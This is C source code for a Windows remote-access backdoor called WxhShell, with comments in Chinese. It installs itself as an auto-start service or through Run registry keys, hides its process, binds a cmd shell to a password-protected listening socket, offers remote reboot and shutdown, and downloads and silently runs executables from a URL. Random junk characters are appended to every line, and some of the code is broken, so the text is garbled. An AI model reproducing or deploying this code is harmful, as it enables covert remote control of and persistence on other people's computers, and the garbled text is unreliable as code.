  case 'd': { a`yCPnB(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4;~xRg;u&*  
    if(Boot(SHUTDOWN)) ww %c+O/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DOtz  
    else { H$?MPA-c  
    closesocket(wsh); W:<2" &7  
    ExitThread(0); ,+BFpN'  
    } "n3n-Y#'  
    break; #vK99 S2  
    } EIzTbW{p  
  // 获取shell e?(4lD)d  
  case 's': { O~8jz  
    CmdShell(wsh); Wp = ]YO  
    closesocket(wsh); Z5rL.a&  
    ExitThread(0); nZj&Ma7R  
    break; pDP* 3  
  } 6$PQ$  
  // 退出 =^M Q 4  
  case 'x': { b/.EA' /  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =Cf@!wZ^  
    CloseIt(wsh);  XU"G  
    break; Wx/PD=Sf&  
    } *9KT@"v  
  // 离开 7h/Mkim$5  
  case 'q': { $n8&5<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Dp*:oMATx0  
    closesocket(wsh); @QJPcF"  
    WSACleanup(); i`9}">7v~  
    exit(1); &gV9h>Kc#  
    break; a)Ht(*/B  
        } hHMp=8J7  
  } q\P{h ij  
  } 7KC2%s#7  
CiU^U|~'L  
  // 提示信息 qu1! KS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %A `9[icy  
} ^,'KmZm=  
  } s#8}&2#l  
ve/.q^JeJ  
  return; 2bXCFv7}  
} 3NwdE/x\  
q=cnY+p>  
// shell模块句柄 toG- Dz&  
int CmdShell(SOCKET sock) j5hQ;~Fa|  
{ IwXQbJ3v_  
STARTUPINFO si; aAu%QRq  
ZeroMemory(&si,sizeof(si)); (8S+-k?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4nd)*0{ f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )MN6\v  
PROCESS_INFORMATION ProcessInfo; ~E DO< O>3  
char cmdline[]="cmd"; `aMnTF5:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9@ h-q(-  
  return 0; V?MaI .gj  
} +A 6kw%"  
"5,Cy3  
// 自身启动模式 , Z1 &MuV  
int StartFromService(void) o 8^!wGY  
{ 4. %/u@rAi  
typedef struct z2.OR,R}]  
{ ODCN~7-@  
  DWORD ExitStatus; H-& ktQWK3  
  DWORD PebBaseAddress; xjDaA U,  
  DWORD AffinityMask; q/7T-"q/G  
  DWORD BasePriority; v~^*L iP+  
  ULONG UniqueProcessId; >4lA+1JYk  
  ULONG InheritedFromUniqueProcessId; tPJU,e)  
}   PROCESS_BASIC_INFORMATION; w &^Dbme  
U&+lw=  
PROCNTQSIP NtQueryInformationProcess; FGMYpapc~  
 #s=\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d8jP@>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j}%C;;MPH  
c@O7,y:`I  
  HANDLE             hProcess; g{?{N  
  PROCESS_BASIC_INFORMATION pbi; Em<J{`k6  
>tkU+$;-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >Co@K^'  
  if(NULL == hInst ) return 0; "8[Vb#=*e  
Ip,0C8T`Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K]U8y$^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tdi}P/x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,-1taS  
}WNgKw  
  if (!NtQueryInformationProcess) return 0; (j)>npOd9  
P^/e!%UgC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w\a9A#v,  
  if(!hProcess) return 0; @:u2{>Yl  
!E/%Hv1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A@EUH  
9jUm0B{?  
  CloseHandle(hProcess); Z+;670Z  
V,3$>4x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1B`0.M'd  
if(hProcess==NULL) return 0; O;;vz+ j  
J {#C<C  
HMODULE hMod; W-"FRTI4  
char procName[255]; P4"EvdV7  
unsigned long cbNeeded; }'TZ)=t{J  
'$CJZ`nt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {uO2m*JrI  
ByXcs'  
  CloseHandle(hProcess);  0c:j wtf  
7[7Sm^Tw  
if(strstr(procName,"services")) return 1; // 以服务启动 WkY>--^  
0V#eC  
  return 0; // 注册表启动 @|o^]-,  
} '"Dgov$q  
dLu3C-.(  
// 主模块 6EX8,4c\  
int StartWxhshell(LPSTR lpCmdLine) | )R{(AK-  
{ DO=zxdTI!  
  SOCKET wsl; D)LqkfJ}z^  
BOOL val=TRUE; !eB&3J  
  int port=0; Zh.9j7 >p  
  struct sockaddr_in door; x42m+5/  
DU[vLe|Z  
  if(wscfg.ws_autoins) Install(); !bD`2m[Q  
^,Y#_$oR  
port=atoi(lpCmdLine); @GR|co  
tB{O6=q  
if(port<=0) port=wscfg.ws_port; rsvGf7C  
!~aDmY 2  
  WSADATA data; WAbt8{$D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >/F,Z%! &q  
a?9Ka!O4s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >&N8Du*[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M&O .7B1}  
  door.sin_family = AF_INET; w6l8RNRe  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mH} 1Zy  
  door.sin_port = htons(port); A ptzBs/  
e?~6HP^%.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T#sKld  
closesocket(wsl); I_@XHhyVZ  
return 1; iY1JU -S  
} wp8ocZ-Gj  
i50^%,  
  if(listen(wsl,2) == INVALID_SOCKET) { Y)4&PN~[  
closesocket(wsl); t.oP]_mI  
return 1; q6v%HF-q4  
} 7w{>bYP  
  Wxhshell(wsl); PYz^9Ud 6g  
  WSACleanup(); ra k@oW]  
qS|t7*  
return 0; :X;' 37o#q  
!j?2HlIK+  
} _/5mgn<GK  
H{ CG/+x  
// 以NT服务方式启动 sP5\R#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QGnBNsAh  
{ q.>{d%?  
DWORD   status = 0; pTlNJ!U>  
  DWORD   specificError = 0xfffffff; Ey!+rq}  
k:0HsN!F9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \{[Gdj`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \?e{/hXnl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @(:M?AO9S.  
  serviceStatus.dwWin32ExitCode     = 0; mmG+"g$|  
  serviceStatus.dwServiceSpecificExitCode = 0; ^SKuX?f\  
  serviceStatus.dwCheckPoint       = 0; HW(cA}$  
  serviceStatus.dwWaitHint       = 0; jn9KQe\3  
iWZrZ5l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kMz^37IFMG  
  if (hServiceStatusHandle==0) return; s`G3SE  
_"B5S?  
status = GetLastError(); U_HOfix  
  if (status!=NO_ERROR) bm_'giQ:  
{ WL<$(y:H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EnGVp<6R  
    serviceStatus.dwCheckPoint       = 0; C&m[/PJ~l  
    serviceStatus.dwWaitHint       = 0; w QX,a;Br  
    serviceStatus.dwWin32ExitCode     = status; Rb~NX  
    serviceStatus.dwServiceSpecificExitCode = specificError; Vn-y<*np  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;V~[kF=t0  
    return; ;|f|d?Q\  
  } ^F `   
x 2\ ,n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~I%m[fQ S  
  serviceStatus.dwCheckPoint       = 0; [' ~B &  
  serviceStatus.dwWaitHint       = 0; ee.#Vhz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kw>W5tNpf:  
} I=)u:l c  
0[JJ  
// 处理NT服务事件,比如:启动、停止 p ] V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [Az<E3H"  
{ p#UrZKR  
switch(fdwControl) _>8ZL)NQQ  
{ W4Ey]y"  
case SERVICE_CONTROL_STOP: wtCz%!OYB  
  serviceStatus.dwWin32ExitCode = 0; P"LbWZ6Nj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )Fh+6  
  serviceStatus.dwCheckPoint   = 0; B`x rdtW  
  serviceStatus.dwWaitHint     = 0; Fcc\hV;  
  { A&OU;j]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]4m;NId  
  } =G%k|  
  return; tk@ T-;  
case SERVICE_CONTROL_PAUSE: 0wCJNXm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -rSp gk0wL  
  break; #MbkU])  
case SERVICE_CONTROL_CONTINUE: ) N*,cTE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0L_ JP9e  
  break; O9#8%p% )  
case SERVICE_CONTROL_INTERROGATE: _s/ 5oRHA  
  break; TzT(aWP"  
}; v"VpE`z1#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }j^asuf~c  
} ?CgqHmf\\(  
'`#sOH  
// 标准应用程序主函数 IvFxI#.ju  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f D<9k  
{ Fy^=LrH=D  
LE!xj 0  
// 获取操作系统版本 Tji G!W8  
OsIsNt=GetOsVer(); qU(,q/l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $[L~X M  
ALVHKL2  
  // 从命令行安装 b!C\J  
  if(strpbrk(lpCmdLine,"iI")) Install(); K!c "g,S  
rz%8V igb  
  // 下载执行文件 hSQuML   
if(wscfg.ws_downexe) { #)&kF+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x{ _:B DY  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ib(q9!L  
} +>b~nK>M  
DlHt#Ob7  
if(!OsIsNt) { [ZC{eg+D  
// 如果时win9x,隐藏进程并且设置为注册表启动 v803@9@  
HideProc(); WZ\bm$  
StartWxhshell(lpCmdLine); A dNQS  
} ^=f<WKn  
else s9R#rwIc  
  if(StartFromService()) J!40` 8i  
  // 以服务方式启动 9K]Li\  
  StartServiceCtrlDispatcher(DispatchTable); *E*= ;BG  
else 'aYUF&GG  
  // 普通方式启动 V2As 5  
  StartWxhshell(lpCmdLine); k1l\Rywp  
3K2B7loD)~  
return 0; y:t@X~  
} N~rA/B]T  
0!<qfT a  
TR;"&'#k  
or~2r8  
=========================================== dwd5P7  
<$6r1y*G  
{k CCpU  
a_jw4"Sb  
|\/`YRg>  
gEghDO_G  
" 00jWs@K  
Q&j-a;L  
#include <stdio.h> z TYHwx  
#include <string.h> +ZFw3KEkz  
#include <windows.h> ;gS)o#v0  
#include <winsock2.h> YfRjr  
#include <winsvc.h> `fTH"l1zn  
#include <urlmon.h> "Y%fk/v8  
'%Cc!63t*  
#pragma comment (lib, "Ws2_32.lib") :1>h,NKC>  
#pragma comment (lib, "urlmon.lib") ;a"g<v  
H( L.k;B  
#define MAX_USER   100 // 最大客户端连接数 ?4k/V6n@y  
#define BUF_SOCK   200 // sock buffer .|\}] O`  
#define KEY_BUFF   255 // 输入 buffer cQg:yoF  
4= 7#=F1  
#define REBOOT     0   // 重启 \9 ,a"g  
#define SHUTDOWN   1   // 关机 !3O8B0K)v  
Db:^Omw o  
#define DEF_PORT   5000 // 监听端口 kq| r6uE  
S2y_5XJ<D  
#define REG_LEN     16   // 注册表键长度 tx` Z?K[  
#define SVC_LEN     80   // NT服务名长度 w)C/EHF  
@c;XwU]2t  
// 从dll定义API 0m2%ucKw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m*bTELb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); / thFs4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s2Z'_r T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #:B14E  
)RUx  
// wxhshell配置信息 6zbqv6  
struct WSCFG { zR@4Z>6   
  int ws_port;         // 监听端口 %#go9H(K  
  char ws_passstr[REG_LEN]; // 口令 xUW\P$  
  int ws_autoins;       // 安装标记, 1=yes 0=no WK2YHJ*$  
  char ws_regname[REG_LEN]; // 注册表键名 >W?i+,g  
  char ws_svcname[REG_LEN]; // 服务名 ;$nCQ/ /  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0P_=Oy"l-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /penB[ 1i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NL^;C3u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PiwMl)E|!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |WkWZZ^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V;pR w`  
84f(BE  
}; d/"%fpp^0G  
XE#a#  
// default Wxhshell configuration plNoI1st  
struct WSCFG wscfg={DEF_PORT, %I^schE*  
    "xuhuanlingzhe", @23?II$=@  
    1, I K9plsd*  
    "Wxhshell", Oj=g;iY  
    "Wxhshell", b6%[?k  
            "WxhShell Service", vRhI:E)So#  
    "Wrsky Windows CmdShell Service", SO|!x}GfI  
    "Please Input Your Password: ", 9q/k,g  
  1, EpW89X  
  "http://www.wrsky.com/wxhshell.exe", 5'<J@3B  
  "Wxhshell.exe" I]@QhCm0  
    }; p=XEMVqm  
(X?HuWTm  
// 消息定义模块 !We9T)e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &gLXS1O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9kzJ5}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V3S"LJ  
char *msg_ws_ext="\n\rExit."; uQhI)  
char *msg_ws_end="\n\rQuit."; T^ )\  
char *msg_ws_boot="\n\rReboot..."; <)$e*HrI  
char *msg_ws_poff="\n\rShutdown..."; XQ'$J_hC  
char *msg_ws_down="\n\rSave to "; ,Gi%D3lA  
\? n<UsI  
char *msg_ws_err="\n\rErr!"; u5.zckV  
char *msg_ws_ok="\n\rOK!"; 9GX'+$R]  
FfRvi8  
char ExeFile[MAX_PATH]; Od("tLIO}I  
int nUser = 0; Mdw"^x$7  
HANDLE handles[MAX_USER]; ]."t  
int OsIsNt; x'v-]C(@  
r9Vt}]$aG  
SERVICE_STATUS       serviceStatus; [-0=ZKH?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RRb>]oD  
H73 r3BH  
// 函数声明 Pk3b#$+E  
int Install(void); ^/ff)'.J  
int Uninstall(void); 5E#8F  
int DownloadFile(char *sURL, SOCKET wsh); 0 wjL=]X1e  
int Boot(int flag); l3Qt_I)L  
void HideProc(void); V.e30u5  
int GetOsVer(void); 5yL\@7u`  
int Wxhshell(SOCKET wsl); g [u*`]-;v  
void TalkWithClient(void *cs); ;S9 z@`a.  
int CmdShell(SOCKET sock); X Z=%XB:?  
int StartFromService(void); M?00n< vM  
int StartWxhshell(LPSTR lpCmdLine); =B{B ?B"r  
\"a~~Koe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B)x^S >  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :-Wh'H(  
+ovT?CM o  
// 数据结构和表定义 vkLKzsN' ]  
SERVICE_TABLE_ENTRY DispatchTable[] = ~}_S]^br  
{ J 1R5_b  
{wscfg.ws_svcname, NTServiceMain}, y&A&d-  
{NULL, NULL} (sW$2a  
}; 7/HX!y{WP  
v]'\]U^  
// 自我安装 uovSe4q5q  
int Install(void) *m8{yh  
{ $WiU oS  
  char svExeFile[MAX_PATH]; ^U6VJ(58P  
  HKEY key; gg.lajX  
  strcpy(svExeFile,ExeFile); U]&/F{3 im  
K1=j7  
// 如果是win9x系统,修改注册表设为自启动 kp Rk.Q*  
if(!OsIsNt) { )43z(:<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b w!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J^=Xy(3e  
  RegCloseKey(key); ;v!Ef"E|cV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gDjAnz#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $Ji;zR4,  
  RegCloseKey(key); u}?|d8$h\  
  return 0; Jim5Ul  
    } \('WS[$2  
  } Qoa&]]  
} /&E]qc*-p  
else { Uuktq)NU  
1XpqnyL&  
// 如果是NT以上系统,安装为系统服务 3U! l8N2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y\n#`*5k  
if (schSCManager!=0) "[sr0'g:  
{ vs{VRc  
  SC_HANDLE schService = CreateService dt Br#Te  
  ( fRwr}n'  
  schSCManager, zCS&w ~  
  wscfg.ws_svcname, F9>"1  
  wscfg.ws_svcdisp, 4,&f#=Y  
  SERVICE_ALL_ACCESS, 1*f/Y9 Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?jsgBol  
  SERVICE_AUTO_START, JF'<""  
  SERVICE_ERROR_NORMAL, PB)vE  
  svExeFile, E_0i9  
  NULL, ~i]4~bkH2  
  NULL, / <+F/R'=O  
  NULL, }&]T0U`@  
  NULL, tlYB'8bJY  
  NULL N+vsQ!Qz  
  ); z2jS(N?J1  
  if (schService!=0) xxG>Leml  
  { "g/UpnH  
  CloseServiceHandle(schService); lm*C:e)4A  
  CloseServiceHandle(schSCManager); ./<giTR:p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NAO0b5-h  
  strcat(svExeFile,wscfg.ws_svcname); +1a2Un  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5'[yw:P-8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )1g\v8XT  
  RegCloseKey(key); #@ F   
  return 0; RLO<5L  
    } @cQ |`  
  } BnG{) \s  
  CloseServiceHandle(schSCManager); d>0 j!+s  
} HP=5 a.  
} YXg^t$  
!{!(yP_  
return 1; PB #EU 9  
} H|3CZ=U?  
IH"_6s#$&  
// 自我卸载 uM[[skc  
int Uninstall(void) EiS2-Uh*TT  
{ z3M6<.K  
  HKEY key; ?[.g~DK,  
KDr)'gl&  
if(!OsIsNt) { 16"L;r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !,~C  
  RegDeleteValue(key,wscfg.ws_regname); Gw#z:gX2  
  RegCloseKey(key); {5SJ0'.B2g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5*O]`Q7  
  RegDeleteValue(key,wscfg.ws_regname); Mn*5oH  
  RegCloseKey(key); uFG ;AY|  
  return 0; 0xV[C4E[6  
  } ?SX0e(+}}  
} 1]aya(  
} ,w,)n^  
else { +$R%Vbd  
U8eU[|-8O/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &D`$YUl@  
if (schSCManager!=0) ]_hXg*?  
{ s5ILl wr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F~3 &@TWi  
  if (schService!=0) 5IP@_GV|  
  { R+Rb[,m  
  if(DeleteService(schService)!=0) { f|,2u5 ;z  
  CloseServiceHandle(schService); &>Z p}.V  
  CloseServiceHandle(schSCManager); R7Ns5s3X  
  return 0; \r}*<CRr6  
  } ;nb>IL  
  CloseServiceHandle(schService); GFZx[*+%%z  
  } bQwiJ`B&  
  CloseServiceHandle(schSCManager); \V*E:_w*  
} mnH1-}oL  
} :Ek3]`q#  
'D?sRbJ=  
return 1; ,-.=]r/s  
} [[Usrbf  
9!wm`'G8  
// 从指定url下载文件 ,]=Qg n  
int DownloadFile(char *sURL, SOCKET wsh) aT=V/Xh}d  
{ ScC!?rTW~7  
  HRESULT hr; {\kDu#18Ld  
char seps[]= "/"; xKoNo^FF  
char *token; `(L<Q%  
char *file; BtP*R,>  
char myURL[MAX_PATH]; [,qb) &_  
char myFILE[MAX_PATH]; DO? bJ01  
=e]Wt/AQ  
strcpy(myURL,sURL); ]K%D$x{+\  
  token=strtok(myURL,seps); Ay\!ohIS3  
  while(token!=NULL) Mp^U)S+  
  { nHB`<B  
    file=token; yXA]E.K!  
  token=strtok(NULL,seps); @3>nVa  
  } !7anJl  
MM Nz2DEy[  
GetCurrentDirectory(MAX_PATH,myFILE); JmVha!<qk  
strcat(myFILE, "\\"); ;%PdSG=U  
strcat(myFILE, file); ] I0(_e|z}  
  send(wsh,myFILE,strlen(myFILE),0); +isaqfy/  
send(wsh,"...",3,0);  \4&FW|mx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Gp))1b';  
  if(hr==S_OK) ?[q.1O  
return 0; &?7+8n&+  
else :=%`\\  
return 1; XcQ'(  
!O#NP!   
} 9rQpKq:# E  
Q"H1(kG|  
// 系统电源模块 |p+ xM  
int Boot(int flag) W$Zc;KRz$0  
{ LL=nMoS  
  HANDLE hToken; Jx= v6==7  
  TOKEN_PRIVILEGES tkp; h2edA#bub  
o8S)8_3  
  if(OsIsNt) { UjQi9ELoJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V %Rz(a+c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pi?U|&.1z  
    tkp.PrivilegeCount = 1; -\=kd {*B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pn2_ {8.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ek4?|!kQD  
if(flag==REBOOT) { $kk!NAW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W>]=0u4  
  return 0; `'<&<P  
} (6\ H~  
else { ^k}jPc6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #&c}i n"!  
  return 0; }!g^}BWWp  
} <ba+7CK] w  
  } SwPc<Z?P  
  else { o*WI*Fb'  
if(flag==REBOOT) { Qws#v}xF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k`Ifd:V.y  
  return 0; G!IJ#|D:~  
} : S |)  
else { K.jm>]'z4;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ceqYyVy  
  return 0; ;}gS8I|  
} dq ~=P>  
} u.sn"G-c  
6~v|pA jY  
return 1; /h'b,iYVV  
} 4d0<uB&v'  
>T<"fEBI  
// win9x进程隐藏模块 i&?do{YQ)  
void HideProc(void) &4O0}ax*Zm  
{ qjp<_aw  
:V#W y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bbU{ />yW  
  if ( hKernel != NULL ) ,, G6L{&Z  
  { qZ7/d,w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %L$P']%t@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 29=L7  
    FreeLibrary(hKernel); KI="O6 h  
  } f i3<  
K r&HT,>B  
return; i3} ^j?jA2  
} xl$#00|y  
l`R/WC  
// 获取操作系统版本 ,&IBj6%Y  
int GetOsVer(void) 6 4da~SEn  
{ ]='E&=nc  
  OSVERSIONINFO winfo; ( U |[C*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }]H_|V*f  
  GetVersionEx(&winfo); X|7Y|0o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 217KJ~)'  
  return 1; &V&0kp@+  
  else ?q <"!U|e  
  return 0; /*bS~7f1  
} :,=no>mMx  
MD ,}-m  
// 客户端句柄模块 y$At$i>u  
int Wxhshell(SOCKET wsl) \S@;>A<J  
{ <"@~  
  SOCKET wsh; :sBg+MS  
  struct sockaddr_in client; $Rsf`*0-  
  DWORD myID; HhaUC?JtSK  
@l^=&53T  
  while(nUser<MAX_USER) +?~'K&@  
{ ?s("@dz_  
  int nSize=sizeof(client); 0f 1Lu) 2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g`!:7|&,_  
  if(wsh==INVALID_SOCKET) return 1; vvLm9Tw  
_Va!Ky =]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +!V*{<K  
if(handles[nUser]==0) ]}cai1  
  closesocket(wsh); 9LGJ-gL  
else +'?p $@d  
  nUser++; tH<v1LEZN  
  } QtQku1{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DEaO= p|  
#{GUu ',?&  
  return 0; Xz0jjO,  
} %lchz /  
lC +p2OG^[  
// 关闭 socket )kl| 5i  
void CloseIt(SOCKET wsh) pK#Ze/!  
{ Roy0?6O  
closesocket(wsh); 4em7PmT  
nUser--; sf]y\_zU  
ExitThread(0); jN V2o  
} G.O0*E2V  
(j+C&*u  
// 客户端请求句柄 fM_aDSRa!H  
void TalkWithClient(void *cs) Y2j>lf?8  
{ >/EmC3?b!  
K GkzE  
  SOCKET wsh=(SOCKET)cs; Ywt_h;:  
  char pwd[SVC_LEN]; 'Ol}nmJ'n  
  char cmd[KEY_BUFF]; `|i #)  
char chr[1]; !'B.ad  
int i,j; =R!=uml(  
bmc1S  
  while (nUser < MAX_USER) { &Hc8u,|  
h/`OG>./  
if(wscfg.ws_passstr) { X}_}`wIn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U}6'_ PRQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AShJt xxa  
  //ZeroMemory(pwd,KEY_BUFF); #18H Z4N  
      i=0; &7T0nB/)  
  while(i<SVC_LEN) { 0kpRvdEr-  
Q}W6?XDu  
  // 设置超时 /+P 4cHv]F  
  fd_set FdRead; @h X  
  struct timeval TimeOut; vyERt^z  
  FD_ZERO(&FdRead); d37l/I  
  FD_SET(wsh,&FdRead); pQ*9)C   
  TimeOut.tv_sec=8; U#+S9jWe  
  TimeOut.tv_usec=0; E$34myOVf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iquB]z'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "a-Ex ]  
7s,IT8ii  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t'_Hp},  
  pwd=chr[0]; Z~~{!C+G  
  if(chr[0]==0xd || chr[0]==0xa) { DL|,:2`  
  pwd=0; @W=#gRqQPy  
  break; xqO'FQO%  
  } RERum  
  i++; zVZZdG~8  
    } Jj|HeZ1C f  
wtetB')yD  
  // 如果是非法用户,关闭 socket B=7bQli}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q+3Z3v  
} ,!|/|4vh  
gT'c`3Gkz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f3|ttUX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L"1UUOKy  
m7^aa@^m  
while(1) { z;GnQfYG  
$=4T# W=m  
  ZeroMemory(cmd,KEY_BUFF); G7pj.rQ  
8}\VlH]  
      // 自动支持客户端 telnet标准   .Frc:Y{  
  j=0; 782be-n  
  while(j<KEY_BUFF) { `&4L'1eF{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K!5QFO4  
  cmd[j]=chr[0]; 234 OJ?  
  if(chr[0]==0xa || chr[0]==0xd) { = I Ls[p  
  cmd[j]=0; V? w;YTg  
  break; 8uM>UpX  
  } :f ybH)*  
  j++; ,<zGvksk  
    } {tV)+T  
%8>s:YG  
  // 下载文件 4gb2$"!  
  if(strstr(cmd,"http://")) { &kHp}\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ji :2P*  
  if(DownloadFile(cmd,wsh))  VD;Ot<%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V2,54YE  
  else U voX\  
